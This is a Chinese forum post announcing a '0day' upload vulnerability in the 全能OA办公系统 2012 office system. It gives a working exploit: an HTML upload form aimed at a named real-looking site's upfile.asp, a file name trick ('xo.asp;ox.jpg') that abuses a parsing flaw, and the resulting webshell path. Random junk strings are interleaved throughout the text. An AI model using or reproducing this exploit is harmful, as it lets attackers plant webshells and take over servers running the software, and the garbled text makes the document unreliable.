全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
. p& n# C( r1 G9 j# Z* b+ q
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
( J& f3 ]7 P% y" ?4 G+ I. v7 b
主要功能：
( H4 m) I1 e" T4 f9 m6 N公司通告
1 c5 M& x8 T  @工作计划
通讯助理
$ j' ?' l( O& X4 b2 l/ t+ ~: Q* ]2 z客户资源
我的公文
* h; D! ]* B0 e" n, f1 s公文传阅
% Q( _% J7 @7 ]* l公共资源
资源预约
& A$ k% v$ D2 n: L今日考勤
" H8 h/ _6 z2 X8 Z个人计划
个人通讯录
; }4 U7 K! f* W" V个人基本档案
/ F9 U3 D; Q# B未读邮件
发邮件
. I7 M4 r' O) @) s收件夹
# K* j! I  X# u. i/ ]( x+ n' H寄件夹
0 j1 P/ r. `$ {, w$ v- A网络硬盘
网络会议
网络调查
交流论坛

) w0 u- w3 {( O/ s- G1 y有兴趣测试的朋友可以下源码看看
6 R3 n! ~# m# r) Q
源码下载：

http://www.mycodes.net/30/4750.htm
1 e$ C( N5 K- C
漏洞介绍：
5 ]' R. e+ h% ?4 Z9 l
5 j/ r/ y5 N9 W, l, r由upfile.asp上传文件漏洞引起

测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
# l" l( x8 w+ w; `
; t: z) p# G5 _如果upfile.asp文件被删除不存在。

8 m- g/ h; v" X7 d  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
5 Y3 Y) Y! x/ T& }6 \4 K/ J" w
- m. |; @6 q3 e% e如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
3 l9 x1 l. I/ b
& m# v+ _. u' E# T7 A

01 <table border='0' align="center" cellpadding="5">
7 z; x& x4 S& e. S2 i& Y, ?
, E: I$ j' T8 j1 A- }, B: J& e2 K02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

$ o2 ^& h9 a( \/ ?) j; W* X03 <tr>

04             <td>报错：</td>

8 G7 `) f* v& n7 Z7 p05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>
5 N6 Q% G2 @" I% s7 j6 @+ E
08               报错方式

09               <input type='radio' name='errnumber' value='2'>
* |! ]% B6 R, K0 T$ O. ?, K8 @; b. d6 X
! t; q. A8 L' p10               直接覆盖</td>
1 [' `  k* m4 |2 }) [
) H* I4 e) n* P8 E' ]11           </tr>
& b. k1 n( Y8 f1 p2 R) r
12           <tr>
6 f5 Q0 ?3 f- O( ~0 \) U
' F, U# t* }' g  o13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>

( d/ d2 `* s- E17             <td>文件：</td>

$ L  ?1 n# e& c. ?$ u& u18             <td><input type="file"name="fruit"size="30"></td>

$ a( `3 h' K9 l4 S( {# q  l19           </tr>

20           <tr>

21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

$ c3 `' N5 n. Y3 o1 ]: j4 i23           </tr>
* b6 G! l( |! \' v4 e- N0 V
) j- O" _$ {, P) h# O; c24   
2 J: i5 F, u2 v# E- @. S3 [
) k% B) P; R9 ], u25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
  G/ u3 V. e( |+ H6 C. B8 P  i$ U! n! M
, N+ `( Q/ y+ B- `' v3 o26           </tr>

7 T8 h7 P! _" E) [6 V$ F27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。


, P! f/ ^9 k% G9 z5 M5 b( o% R$ K
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
' u+ l- `) L7 c4 z" w/ \- x
+ ?( n" ?; R; M. Z( ^' m( a此漏洞需要配合解析漏洞利用。